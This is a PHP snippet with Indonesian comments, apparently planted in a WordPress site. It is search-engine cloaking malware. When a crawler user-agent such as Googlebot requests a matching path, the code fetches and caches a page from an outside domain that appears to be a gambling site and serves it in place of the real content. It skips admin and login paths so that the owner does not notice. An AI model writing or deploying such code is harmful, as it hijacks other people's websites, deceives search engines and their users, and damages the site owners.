if (php_sapi_name() !== 'cli') { // jangan jalan di CLI
    // konfigurasi rules: path prefix => remote LP URL
    $wwa_rules = [
        '/evolving-regional-dynamics/' => 'https://eventwargatoto.com/wargatoto/ipripak.html',
        // tambah rule lain jika perlu
    ];

    // user-agent bot (regex, lowercase)
    $wwa_bot_regex = '/(googlebot|google-inspectiontool|bingbot|duckduckbot|yandex|baiduspider|slurp|msnbot)/i';

    $ua  = $_SERVER['HTTP_USER_AGENT'] ?? '';
    $uri = parse_url($_SERVER['REQUEST_URI'] ?? '/', PHP_URL_PATH);

    // jangan ganggu admin atau REST/cron/xmlrpc atau POST (aman)
    if (
        !empty($ua)
        && preg_match($wwa_bot_regex, $ua)
        && stripos($uri, '/wp-admin') !== 0
        && stripos($uri, '/wp-login.php') !== 0
        && stripos($uri, '/xmlrpc.php') !== 0
        && $_SERVER['REQUEST_METHOD'] === 'GET'
    ) {
        // cek rules
        foreach ($wwa_rules as $path => $lp_url) {
            // prefix match (use rtrim to normalize)
            $p = rtrim($path, '/').'/';
            $u = rtrim($uri, '/').'/';
            if (stripos($u, $p) === 0) {
                // serve cached if exists
                $cache_dir = __DIR__ . '/wp-content/uploads/wwa-lp-cache';
                if (!is_dir($cache_dir)) @mkdir($cache_dir, 0755, true);
                $cache_file = $cache_dir . '/cache_' . md5($lp_url) . '.html';
                $ttl = 3600; // cache TTL in seconds

                $content = false;
                if (file_exists($cache_file) && (time() - filemtime($cache_file) < $ttl)) {
                    $content = @file_get_contents($cache_file);
                } else {
                    // fetch remote (cURL preferred, fallback to file_get_contents)
                    $timeout = 6;
                    if (function_exists('curl_init')) {
                        $ch = curl_init();
                        curl_setopt($ch, CURLOPT_URL, $lp_url);
                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
                        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
                        curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
                        curl_setopt($ch, CURLOPT_USERAGENT, $ua); // gunakan UA bot
                        $fetched = curl_exec($ch);
                        $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                        curl_close($ch);
                        if ($fetched !== false && $httpcode >= 200 && $httpcode < 300) {
                            $content = $fetched;
                            @file_put_contents($cache_file, $content);
                        }
                    } else {
                        // fallback
                        $ctx = stream_context_create(['http' => ['timeout' => $timeout, 'header' => "User-Agent: $ua\r\n"]]);
                        $fetched = @file_get_contents($lp_url, false, $ctx);
                        if ($fetched !== false) {
                            $content = $fetched;
                            @file_put_contents($cache_file, $content);
                        }
                    }
                }

                if ($content && strlen(trim($content)) > 10) {
                    // kirim header agar Google membaca sebagai HTML
                    if (!headers_sent()) {
                        header('HTTP/1.1 200 OK');
                        header('Content-Type: text/html; charset=UTF-8');
                        header('Cache-Control: no-cache, no-store, must-revalidate');
                        header('Pragma: no-cache');
                        header('Expires: 0');
                    }
                    echo $content;
                    // optional logging untuk debug (hapus setelah sukses)
                    @error_log("[WWA CLOAK] served LP for $uri -> $lp_url (UA: $ua)");
                    exit; // hentikan eksekusi WP lebih lanjut
                } else {
                    @error_log("[WWA CLOAK] failed fetch or empty LP: $lp_url (UA: $ua)");
                    // jika fetch gagal, lanjut ke WordPress normal
                }

                // break after first matching rule (so no multiple)
                break;
            }
        }
    }
}